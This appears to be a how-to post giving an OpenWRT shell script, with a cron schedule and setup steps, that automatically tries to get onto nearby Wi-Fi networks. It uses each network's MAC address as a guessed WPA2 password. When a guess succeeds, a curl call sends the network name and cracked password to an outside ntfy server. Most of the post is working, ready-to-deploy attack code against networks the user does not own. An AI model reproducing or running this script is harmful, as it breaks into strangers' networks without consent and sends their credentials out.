Script Breakdown:
Check Internet: Pings Google's DNS (8.8.8.8) to verify the connection.
Scan Wi-Fi: Scans available Wi-Fi networks using iw dev radio2 scan.
Attempt Connections: Tries to connect to each SSID using its MAC address as the password.
Notify on Success: If successful, sends a notification via NTFY with the SSID and the used MAC address as the password.
Script:
bash
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#!/bin/sh

# Check if there is an internet connection
if ! ping -c 3 8.8.8.8 > /dev/null 2>&1; then
    # Scan for available Wi-Fi networks using radio2
    iw dev radio2 scan | grep "SSID\|BSSID" | while read -r line; do
        if echo "$line" | grep "SSID" > /dev/null; then
            ssid=$(echo "$line" | cut -d ":" -f2 | sed 's/^ *//g')
        elif echo "$line" | grep "BSSID" > /dev/null; then
            bssid=$(echo "$line" | cut -d ":" -f2- | sed 's/://g' | tr 'a-z' 'A-Z')
            # Try to connect to the SSID using the BSSID as password
            uci set wireless.@wifi-iface[1].ssid="$ssid"
            uci set wireless.@wifi-iface[1].key="$bssid"
            uci set wireless.@wifi-iface[1].encryption='psk2'
            uci commit wireless
            wifi down radio2 && wifi up radio2
            sleep 30  # Wait for connection

            # Check if the router has internet access
            if ping -c 3 8.8.8.8 > /dev/null 2>&1; then
                # Send a notification via NTFY
                curl -d "Connected to SSID: $ssid with password: $bssid" https://ntfy.asadqi.eu.org/Router
                sleep 300  # Wait for 5 minutes before retrying
                exit 0
            fi
        fi
    done
fi


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Explanation:
Internet Check: The script first pings 8.8.8.8. If it fails, it proceeds to scan for available SSIDs.
Wi-Fi Scan: It uses iw dev radio2 scan to list all available SSIDs and BSSIDs (MAC addresses).
Connect Attempt: For each SSID, it sets the SSID and uses the MAC address (without : and in uppercase) as the password. It commits these settings, brings down the radio, and brings it back up to apply the new settings.
Wait and Check: After 30 seconds, it checks if the connection is successful by pinging 8.8.8.8 again. If successful, it sends a notification with the SSID and password via NTFY.
Retry: If the connection fails, it continues with the next SSID.
Cron Job to Run Every 30 Minutes:
To schedule this script to run every 30 minutes, add the following line to your Scheduled Tasks in the OpenWRT GUI:

bash
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*/30 * * * * /usr/bin/wifi_connect.sh

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How to Apply:
Save the Script: Save the above script as /usr/bin/wifi_connect.sh:

bash
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nano /usr/bin/wifi_connect.sh
chmod +x /usr/bin/wifi_connect.sh
Set the Cron Job:

Go to System -> Scheduled Tasks in the OpenWRT GUI.
Add the cron line: */30 * * * * /usr/bin/wifi_connect.sh
Click Save & Apply.
This setup will run the script every 30 minutes to check for internet, scan SSIDs, and attempt to connect using the MAC address as the password.